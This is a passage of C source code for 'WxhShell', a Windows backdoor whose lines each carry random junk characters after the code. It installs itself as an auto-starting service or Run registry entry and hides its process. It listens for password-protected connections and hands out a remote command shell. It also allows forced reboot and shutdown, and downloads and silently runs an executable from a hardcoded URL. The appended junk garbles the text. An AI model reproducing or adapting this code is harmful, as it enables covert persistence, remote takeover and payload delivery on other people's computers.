    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +RV-VrV  
    else { =kh>s$We  
    closesocket(wsh); mO)PJd2ZD  
    ExitThread(0); RR!!hY3 K  
    } 99 "[b  
    break; HI\f>U  
    } xDJ+BQ<1A  
  // 关机 @GQ8q]N:<  
  case 'd': { W Gw!Y1wq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kt{C7qpD  
    if(Boot(SHUTDOWN)) _/}Hqh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.':&7Y  
    else { vA"niO  
    closesocket(wsh); }l( m5  
    ExitThread(0); D2</^]3Su  
    } iv:/g|MBI&  
    break; z5` 8G =A  
    } z8/xGQn  
  // 获取shell eR-=<0Iw;  
  case 's': { {^2W>^  
    CmdShell(wsh); K- I\P6R`  
    closesocket(wsh); LxlbD#<V  
    ExitThread(0); b"nG-0JR  
    break; sQ}%7BMK  
  } 'DzBp  
  // 退出 1Vf78n  
  case 'x': { =r@gJw:B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /*AJr  
    CloseIt(wsh); T+WZE  
    break; dGsS<@G  
    } YxEbg(Y  
  // 离开 LMFK3Gd[  
  case 'q': { K2xH'v O(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wI! +L&Q  
    closesocket(wsh); C NfJ:e2  
    WSACleanup(); (@ fa~?v>@  
    exit(1); lC=N:=Mu  
    break; \ I^nx+l  
        } [O7w =  
  } ,$h(fM8GC  
  } 1Sg|3T8bGT  
N )zPxQ  
  // 提示信息 ]eYd8s+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4L=$K2R2r  
} @%OPy|=,{  
  } jj!N39f   
QSHJmk 6L  
  return; jVad)2D  
} 4[TS4p  
(@)2PO /  
// shell模块句柄 d&[iEU  
int CmdShell(SOCKET sock) .!yWF?T8  
{ E3S%s  
STARTUPINFO si; -(\1r2 Y  
ZeroMemory(&si,sizeof(si)); &so-O90  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -uA3Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s~=KhP~  
PROCESS_INFORMATION ProcessInfo; )o#6-K+b  
char cmdline[]="cmd"; EkJVFHfh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); URYZV8=B~  
  return 0; [)#u<lZ<~  
} tYs8)\{  
\G$QNUU  
// 自身启动模式 WI1T?.Gc   
int StartFromService(void) U~uwm/h  
{ fav5e'[$  
typedef struct l`@0zw+  
{ 6exI_3A4jh  
  DWORD ExitStatus; |7 &|>  
  DWORD PebBaseAddress; `"a? a5]k  
  DWORD AffinityMask; U^%9 )4bj  
  DWORD BasePriority; z,pNb%*O  
  ULONG UniqueProcessId; R'6@n#:  
  ULONG InheritedFromUniqueProcessId; EXA^!/)  
}   PROCESS_BASIC_INFORMATION; )@}A r  
izMYVI?0  
PROCNTQSIP NtQueryInformationProcess; P+Wm9xR2d  
7\IL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u`'ki7LA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]SFWt/<  
HSNOL  
  HANDLE             hProcess; ~?#~Ar  
  PROCESS_BASIC_INFORMATION pbi; OmB TA=E<  
Y [W6Sc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NW z9C=y  
  if(NULL == hInst ) return 0; bqSMDK  
RX:R*{]-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q75ky1^1:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r0>q%eM8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'KH lrmnr  
xEjx]w/&  
  if (!NtQueryInformationProcess) return 0; }N?g|  
:^ n*V6.4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v@VLVf)>9^  
  if(!hProcess) return 0; Hi^35  
K[kds`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +A@m9  
Nepi|{  
  CloseHandle(hProcess); ^f9>l;Lb  
5J  ySFG3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ton1oq  
if(hProcess==NULL) return 0;  KyTuF   
".gNeY6)x  
HMODULE hMod; KYp[Gs  
char procName[255]; nE_Cuc>K\  
unsigned long cbNeeded; Hb+X}7c$  
H nK!aa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lr,q{;  
I?B,sl_w  
  CloseHandle(hProcess); 6 Ew@L<v  
Pb#P`L7OB  
if(strstr(procName,"services")) return 1; // 以服务启动 wTxbDT@H5  
u^t$ cLIZ  
  return 0; // 注册表启动 H<g 1m  
} }`9jH:q-Z  
?\ZL#)hr"p  
// 主模块 OZf6/10O/  
int StartWxhshell(LPSTR lpCmdLine) 3A_G=WaED  
{ K*1.'9/  
  SOCKET wsl; ;+a2\j+  
BOOL val=TRUE; gljo;f:  
  int port=0; *Ddi(`  
  struct sockaddr_in door; z`4c 4h]I  
p}uncIod  
  if(wscfg.ws_autoins) Install(); 6#U^< `  
!scD|ti  
port=atoi(lpCmdLine); >TY6O.]  
_g~2R#2Q  
if(port<=0) port=wscfg.ws_port; J/ vK6cO\  
qw<HY$3=  
  WSADATA data; Xw t`(h[u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1fH<VgF`  
h$`#YNd'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ziiwxx_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 96c?3ya  
  door.sin_family = AF_INET; 0]B(a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `<U5z$^QTw  
  door.sin_port = htons(port); k[ %aCGo  
9gy(IRGq/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2s\BY%XY  
closesocket(wsl); ~Wei|,w'<  
return 1; a7#?h%wf  
} .fp&MgiQ  
<F(><Xw,-4  
  if(listen(wsl,2) == INVALID_SOCKET) { BJk Z2=  
closesocket(wsl); 2 o4^  
return 1; KnGTcoXg_  
} MLr-, "gs  
  Wxhshell(wsl); -R b{^/  
  WSACleanup(); x6W `hpL  
z=g$Exl  
return 0; $=)gpPT  
O6X"RsI}  
} * ?]~ #  
[ c~kF+8  
// 以NT服务方式启动 MjD75hIZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jxa4hM0  
{ 5Sva}9H  
DWORD   status = 0; mV)+qXC  
  DWORD   specificError = 0xfffffff; UE.4q Y_7  
;wHCj$q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ok{!+VCB5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H C0w;MG)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R#W&ery  
  serviceStatus.dwWin32ExitCode     = 0; Ln!A:dP}c-  
  serviceStatus.dwServiceSpecificExitCode = 0; \)/yC74r7(  
  serviceStatus.dwCheckPoint       = 0; cBXWfv4  
  serviceStatus.dwWaitHint       = 0; b~w=v_[(I  
WQ6"0*er  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !h`kX[:  
  if (hServiceStatusHandle==0) return; _zMgoc7  
aG%, cQ1  
status = GetLastError(); -LW[7s$  
  if (status!=NO_ERROR) Iz@)!3h  
{ T.m mmT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +&i +Mpb  
    serviceStatus.dwCheckPoint       = 0; wW>fVP r  
    serviceStatus.dwWaitHint       = 0; 1P(&J  
    serviceStatus.dwWin32ExitCode     = status; i'#Gy,R  
    serviceStatus.dwServiceSpecificExitCode = specificError; T~4N+fK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5d\q-d  
    return; ~Z'w)!h  
  } )"+2Z^1-  
,9D+brm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =] C]=  
  serviceStatus.dwCheckPoint       = 0; ,Lr<)p  
  serviceStatus.dwWaitHint       = 0; &#yR;{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vVl; |  
} XB59Vm0E=  
w= P 9FxB  
// 处理NT服务事件,比如:启动、停止 [*:6oo98'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i0jBZW"_1$  
{ Av'GB  
switch(fdwControl) H1n1-!%d  
{ Bun> <Y @  
case SERVICE_CONTROL_STOP: ^= 0m-/  
  serviceStatus.dwWin32ExitCode = 0; GL{57  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z|" p*5O,  
  serviceStatus.dwCheckPoint   = 0; ~@.%m"<.  
  serviceStatus.dwWaitHint     = 0; ??60,m:]  
  { y: m_tv0~0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); svf|\p>]H  
  } )Gw~XtB2  
  return; E.|-?xQ6  
case SERVICE_CONTROL_PAUSE: UFAL1c<V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \;u@"  
  break; YuZ"s55zU{  
case SERVICE_CONTROL_CONTINUE: jw<pK4?y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z[__"^}  
  break; ,JU@|`  
case SERVICE_CONTROL_INTERROGATE: _BdE< !r  
  break; @c9^q> Uv  
}; D^%^xq )E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *}k;L74|  
} B33$pUk  
)WT>@  
// 标准应用程序主函数 W"^wnGa@a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D%6;^^WyUx  
{ )9l^O  
6`vC1PK^  
// 获取操作系统版本 EI!6MC)  
OsIsNt=GetOsVer(); 8#!i[UF dj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e@:sR  
_=CZR7:O  
  // 从命令行安装 FFdBtB  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ .;<  Bj  
!*6CWV0  
  // 下载执行文件 7qTE('zt  
if(wscfg.ws_downexe) { L|bwZ,M=}?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fd-q3 _f  
  WinExec(wscfg.ws_filenam,SW_HIDE); {43>m)8+  
} "HE^v_p  
34\(7JO  
if(!OsIsNt) { }!IL]0 q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,^#yo6-  
HideProc(); ,U(1NK8o  
StartWxhshell(lpCmdLine); S[WG$  
} C8z{XSo  
else 8 r_>t2$  
  if(StartFromService()) C z\Ppq  
  // 以服务方式启动 ?-^~f  
  StartServiceCtrlDispatcher(DispatchTable); ZXm/A0)S  
else Y>'|oygHA  
  // 普通方式启动 =s<( P1|"  
  StartWxhshell(lpCmdLine); y!!2WHvE  
tHzZ@72B7  
return 0; BcI |:qv|  
} {%_L=2n6  
bw\@W{a%q  
?lP':'P  
lRXK\xIP ,  
=========================================== itC-4^  
rtc9wu  
VkZ7#  
+SwR+H)?  
KEWTBBg  
!"Oh3 6  
" qgfi\/$6  
eUg~)m5G  
#include <stdio.h> TqnT S0fx  
#include <string.h> kh`"WN Nt  
#include <windows.h> rS;Dmm  
#include <winsock2.h> x&0vKo;  
#include <winsvc.h> cFJY^A  
#include <urlmon.h> Qjb:WC7he  
>p"c>V& 8  
#pragma comment (lib, "Ws2_32.lib") irfp!(r  
#pragma comment (lib, "urlmon.lib") P'_H/r/#  
r(P(Rj2~  
#define MAX_USER   100 // 最大客户端连接数 kBffF@{  
#define BUF_SOCK   200 // sock buffer {E@Lft-  
#define KEY_BUFF   255 // 输入 buffer AB4(+S*LA  
5k.oW=  
#define REBOOT     0   // 重启 jbAx;Xt'=M  
#define SHUTDOWN   1   // 关机 .X;3,D[w  
')$+G152  
#define DEF_PORT   5000 // 监听端口 `E>1>'  
<*qnY7c&N;  
#define REG_LEN     16   // 注册表键长度 aeD;5VV  
#define SVC_LEN     80   // NT服务名长度 , 'u W*kx  
3U0`,c\ao*  
// 从dll定义API P09;ng67  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a*&B`77`|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sn|BlXrey  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "/wyZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  bJX)$G  
Ys\Wj%6A  
// wxhshell配置信息 qHrc9fB  
struct WSCFG { tIuCct-  
  int ws_port;         // 监听端口 ):[7E(F=  
  char ws_passstr[REG_LEN]; // 口令 32`{7a3!=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]jo1{IcI  
  char ws_regname[REG_LEN]; // 注册表键名 IhVO@KJI  
  char ws_svcname[REG_LEN]; // 服务名 N u<_}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I+tb[*X+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r2,.abo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U`2e{>'4t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xwq+j "  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .N ,3 od@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f,kZ\Ia'r  
+nJgl8'^y  
}; |Uc_G13Y{D  
YTUZoW2  
// default Wxhshell configuration $\X[@E S0  
struct WSCFG wscfg={DEF_PORT, hHV";bk  
    "xuhuanlingzhe", M`,)wi  
    1, tp63@L|Q  
    "Wxhshell", ~f$|HP}  
    "Wxhshell", 5\]Sv]s)R  
            "WxhShell Service", X:vghOt?  
    "Wrsky Windows CmdShell Service", z=q3Zo  
    "Please Input Your Password: ", cj$[E]B3V*  
  1, .\)U@L~  
  "http://www.wrsky.com/wxhshell.exe", \1D<!k\S  
  "Wxhshell.exe" xc=b |:A  
    }; CxwoBuG=?  
Mygf T[_  
// 消息定义模块 [YlKR'_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DH\0z[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fSK]|"c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y1dDO2mA  
char *msg_ws_ext="\n\rExit."; ,-8"R`UI8  
char *msg_ws_end="\n\rQuit."; 9\_eK,*B  
char *msg_ws_boot="\n\rReboot..."; |}=acc/  
char *msg_ws_poff="\n\rShutdown..."; `d5%.N  
char *msg_ws_down="\n\rSave to "; (nf~x  
}fb#G<3  
char *msg_ws_err="\n\rErr!"; -p]1=@A<}  
char *msg_ws_ok="\n\rOK!"; ywGd>@  
}`% *W`9b  
char ExeFile[MAX_PATH]; C~2F9Pg  
int nUser = 0; Enum/O5  
HANDLE handles[MAX_USER]; Q(wx nm  
int OsIsNt; }$SavB#SBP  
=;Rtdy/Yn%  
SERVICE_STATUS       serviceStatus; +ElfZ4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J8uLJ  
5:Z0Pt  
// 函数声明 le/,R@]B9  
int Install(void); HK,cJah q  
int Uninstall(void); [>8}J "  
int DownloadFile(char *sURL, SOCKET wsh); YIoQL}pX  
int Boot(int flag); mF*2#]%dx  
void HideProc(void);  HN=V"a  
int GetOsVer(void); a, k'Vk{  
int Wxhshell(SOCKET wsl); Wh+{mvu#  
void TalkWithClient(void *cs); Mo?~_|}  
int CmdShell(SOCKET sock); v$7QIl_/7  
int StartFromService(void); \<JSkr[h!"  
int StartWxhshell(LPSTR lpCmdLine); #@YPic"n7`  
)h"<\%LU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vK|E>nL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _=_Px@<Q  
UO0{):w>  
// 数据结构和表定义 q rJ`1  
SERVICE_TABLE_ENTRY DispatchTable[] = G&D7a/G\  
{ ;RDh ~EV  
{wscfg.ws_svcname, NTServiceMain}, #lmB AL~3  
{NULL, NULL} 0^I|u t4  
}; ~ $Tkn_w#  
PF)jdcX  
// 自我安装 F U_jGwD  
int Install(void) }zkHJxZgE  
{ Tl(^  
  char svExeFile[MAX_PATH]; }\tdcTMgS  
  HKEY key; "& ])lz[u  
  strcpy(svExeFile,ExeFile); .k,1f*%  
$?Yry. 2  
// 如果是win9x系统,修改注册表设为自启动 l~c@^!  
if(!OsIsNt) { {@6= Q 6L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X 0WJBEE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (D#B_`;-  
  RegCloseKey(key); %<k2#6K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aydm2!l1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o3Yb7h9  
  RegCloseKey(key); qaiNz S@q  
  return 0; .{ocV#{s  
    } 6h|q'.Y  
  } *w^C"^*  
} nygbt<;?  
else { +o\:d1y  
m? eiIrMW  
// 如果是NT以上系统,安装为系统服务 G,?hp>lj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {G U&a  
if (schSCManager!=0) ',Y.v"']4  
{ _-q.Q^  
  SC_HANDLE schService = CreateService tjIl-IQ  
  ( !nqUBa  
  schSCManager, /qMG=Z  
  wscfg.ws_svcname, .z]Wyx&/U  
  wscfg.ws_svcdisp, 7E!IF>`  
  SERVICE_ALL_ACCESS, k.5u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OVm\  
  SERVICE_AUTO_START, v25R_""~  
  SERVICE_ERROR_NORMAL, iP =V8g?L  
  svExeFile, ock Te5U  
  NULL, N >FKy'.gk  
  NULL, ]JCvyz H  
  NULL, FG6h,7+  
  NULL, x.7]/)  
  NULL _wTOmz%|R  
  ); v=0(~<7B  
  if (schService!=0) 6N!Q:x^4(T  
  { h]Wr [v  
  CloseServiceHandle(schService); bSiYHRH.e  
  CloseServiceHandle(schSCManager); _7H7 dV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < vL,*.zd  
  strcat(svExeFile,wscfg.ws_svcname); Wr<j!>J6Ki  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >pU$wq|i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lx\ 8Z=  
  RegCloseKey(key); _2h S";K  
  return 0; !Fca~31R'  
    } 5*+!+V^?X  
  } tX5"UQA  
  CloseServiceHandle(schSCManager); O~T@rX9f  
} iL7DRQ1  
} n!NS(. o  
ZvNJ^Xz  
return 1; )k\H@Dy%$  
} 3Ndq>  
WlB  
// 自我卸载 695V3R 7  
int Uninstall(void) G'oG< /A  
{ ~ DBcIy?  
  HKEY key; Ir {OheJ  
\DYWy*pe  
if(!OsIsNt) { 6hlc1?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @aAW*D~-J  
  RegDeleteValue(key,wscfg.ws_regname); c#|raXGT  
  RegCloseKey(key); >hPQRd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aNScF  
  RegDeleteValue(key,wscfg.ws_regname); W{5#@_pL  
  RegCloseKey(key); K@sV\"U(*E  
  return 0; C69q&S,  
  } )Hpa}FGT  
} (MR_^t  
} >64P6P;S  
else { xfpa]Z  
87BHq)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MXw hxk#E  
if (schSCManager!=0) !D@ZYK;  
{ ] Bcp;D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~tBYIkvWT  
  if (schService!=0) /LvRP yj@  
  { pk^K:Xs}  
  if(DeleteService(schService)!=0) { o$#G0}yn  
  CloseServiceHandle(schService); /DK"QV!]s  
  CloseServiceHandle(schSCManager); e7m*rh%5>  
  return 0; %e-7ubW  
  } JBi*P.79^  
  CloseServiceHandle(schService); }\%Fi/6Z{  
  } "Q!(52_@J  
  CloseServiceHandle(schSCManager); qyF{f8pzq  
} :[O 8  
} @ o3T  
rf>0H^r  
return 1; xD5:RE~g  
} \9cG36  
[3(7  4  
// 从指定url下载文件 d Vj_8>  
int DownloadFile(char *sURL, SOCKET wsh) }q $5ig  
{ {U1?Et#  
  HRESULT hr; N>XS=2tzN  
char seps[]= "/"; g+pml*LJ  
char *token; (Dw,DY9  
char *file; Y"~gw~7OD  
char myURL[MAX_PATH]; G&i!Hs  
char myFILE[MAX_PATH]; D)j(,vt  
>Db;yC&  
strcpy(myURL,sURL); A/u)# ^\  
  token=strtok(myURL,seps); Yzh"1|O  
  while(token!=NULL) 43mP]*=A  
  { `8AR_7i  
    file=token; X $ s:>[H  
  token=strtok(NULL,seps); }s(N6a&(  
  } 0w)^)  
'eLqlu|T  
GetCurrentDirectory(MAX_PATH,myFILE); Pb1*\+  
strcat(myFILE, "\\"); %kS(LlL+6  
strcat(myFILE, file); =p*]Az  
  send(wsh,myFILE,strlen(myFILE),0); :-/M?,Q"  
send(wsh,"...",3,0); g/P+ZXJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y~q8pH1  
  if(hr==S_OK) n?- })  
return 0; Nv(9N-9r  
else ldiD2 Q  
return 1; 4)A#2  
l|kSsP:GO  
} +kzo*zW$L  
f"%{%M$K  
// 系统电源模块 j`~Ms>  
int Boot(int flag) M luVx'  
{ Tk5W'p|6f  
  HANDLE hToken; l)Crc-:}4j  
  TOKEN_PRIVILEGES tkp; .^h#_[dp  
f33l$pOp  
  if(OsIsNt) { }+C2I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \l9qt5rS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c_vqL$Dl  
    tkp.PrivilegeCount = 1; xa<UM5eI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K i'Fn"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sj HrPs e  
if(flag==REBOOT) { "|qqUKJZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1Cgso`  
  return 0; _V7r1fY:  
} 3E!|<q$ z  
else { "nw;NIp!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &e#~<Wm82  
  return 0; ;#vKi0V7  
} @~YYD#'vNY  
  } LUM@#3&  
  else { P:k>aHnW  
if(flag==REBOOT) { L.S;J[a;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PH+S};Uxv  
  return 0; @d mV  
} Q9Kve3u-i  
else { }]lr>"~y}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'VzP};  
  return 0; B9NWW6S  
} j4|N- :  
} ykV 5  
;C3US)j  
return 1; $}>+kHoT{  
} ABD)}n=%c  
CGY]r.O*  
// win9x进程隐藏模块 { g/0x,-Z  
void HideProc(void) I %sFqh>  
{ l5Gq|!2yxD  
mID"^NOi#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C71qPb|$R  
  if ( hKernel != NULL ) !cO]<CWPq  
  { a@@)6FM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E\as@pqo\p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WtG~('g>&  
    FreeLibrary(hKernel); k <=//r  
  } lku[dQdk  
'8!Y D?n  
return; ]rWgSID  
} VF?<{F  
zO).T M_  
// 获取操作系统版本 a yCY~=i  
int GetOsVer(void) kEOS{C%6R  
{ 9x>d[-#y:J  
  OSVERSIONINFO winfo; = \'}g?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IsZHe lg  
  GetVersionEx(&winfo); r:f[mk"-"A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LBM ^9W  
  return 1; 5-aj 2>=7  
  else ADDSCY=,  
  return 0; D~hg$XzK  
} \m(VdE  
Cd,jDPrw  
// 客户端句柄模块 X*/ho  
int Wxhshell(SOCKET wsl) u%}nw :>  
{ 9N@W\DT  
  SOCKET wsh; /Z~<CbKKl  
  struct sockaddr_in client; UTH*bL5/J2  
  DWORD myID; 8u6:=fxb  
0ZZZoP o  
  while(nUser<MAX_USER) ^@3sT,M,S  
{ ([SU:F!uW(  
  int nSize=sizeof(client); $ M`hh{ -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sdt`i  
  if(wsh==INVALID_SOCKET) return 1; t&H?\)!4  
Si8pzd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _FH`pv  
if(handles[nUser]==0) GFeQ%l`7F  
  closesocket(wsh); a%kQl^I4  
else #$18*?tLv|  
  nUser++; B* ?]H*K  
  } ar__ Pf6r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -w9pwB  
oB}BU`-l  
  return 0; yE:+Lo`>  
} c~z82iXNO  
,\_1w  
// 关闭 socket c 0,0`+2~  
void CloseIt(SOCKET wsh) >/l? g5{  
{ )'l:K.F  
closesocket(wsh); '[AlhBX  
nUser--; (;T^8mI2  
ExitThread(0); %zG;Q@  
} W>) M5t4i  
J]{QB^?  
// 客户端请求句柄 T|nDTezr  
void TalkWithClient(void *cs) r[|Xy>Zj  
{ J!c)s!`w  
;_c;0)  
  SOCKET wsh=(SOCKET)cs; ^E;kgED5  
  char pwd[SVC_LEN]; 5rw 7;'  
  char cmd[KEY_BUFF]; t^+ik1.  
char chr[1]; ZP@ $Q%up  
int i,j; FHj" nB  
|2O]R s  
  while (nUser < MAX_USER) { l4F%VR4KT  
4 {y)TZ  
if(wscfg.ws_passstr) { wH>a~C:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v- 2:(I V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  7''??X  
  //ZeroMemory(pwd,KEY_BUFF); &XIt5<$~R  
      i=0; @$ne{2J3  
  while(i<SVC_LEN) { g%sluT[#  
Q_"]+i]s@  
  // 设置超时 SheM|I~de  
  fd_set FdRead; KaPAa:Q  
  struct timeval TimeOut; @5N]ZQ9  
  FD_ZERO(&FdRead); {m4b(t`xw  
  FD_SET(wsh,&FdRead); "|EM;o  
  TimeOut.tv_sec=8; B,?T%  
  TimeOut.tv_usec=0; YWe{juXSw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Fy2BZH%Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ) pzy  
cr%"$1sY;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z06r6  
  pwd=chr[0]; Nv#t:J9f  
  if(chr[0]==0xd || chr[0]==0xa) { J?V?R  
  pwd=0; uZNTHD  
  break; v\c>b:AofD  
  } ]OM"ZG/^  
  i++; 3x`|  
    } ]^yFaTfS  
= i$Fl{vH  
  // 如果是非法用户,关闭 socket =b%MXT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yrb{ByO&  
} '9laa=H%8  
*{YlN}vA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m}C>ti`VD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (SWYOMo"  
),0g~'I~D  
while(1) { X.OD`.!>  
lNz7u:U3  
  ZeroMemory(cmd,KEY_BUFF); b+%f+zz*h  
|9uOUE  
      // 自动支持客户端 telnet标准   v_<rNc,z-s  
  j=0; <lgYcdJ   
  while(j<KEY_BUFF) { o m^0}$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UvJ}b  
  cmd[j]=chr[0]; I& 2c&yO  
  if(chr[0]==0xa || chr[0]==0xd) { B\=L3eL<D  
  cmd[j]=0; hW%TM3l}  
  break; lsJSYJG&  
  } |ax3sAg  
  j++; x u>9(,l  
    } P60~ V"/P  
rx'RSo#1O  
  // 下载文件 ]GMe \n  
  if(strstr(cmd,"http://")) { 35A|BD) q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  .t{MIC  
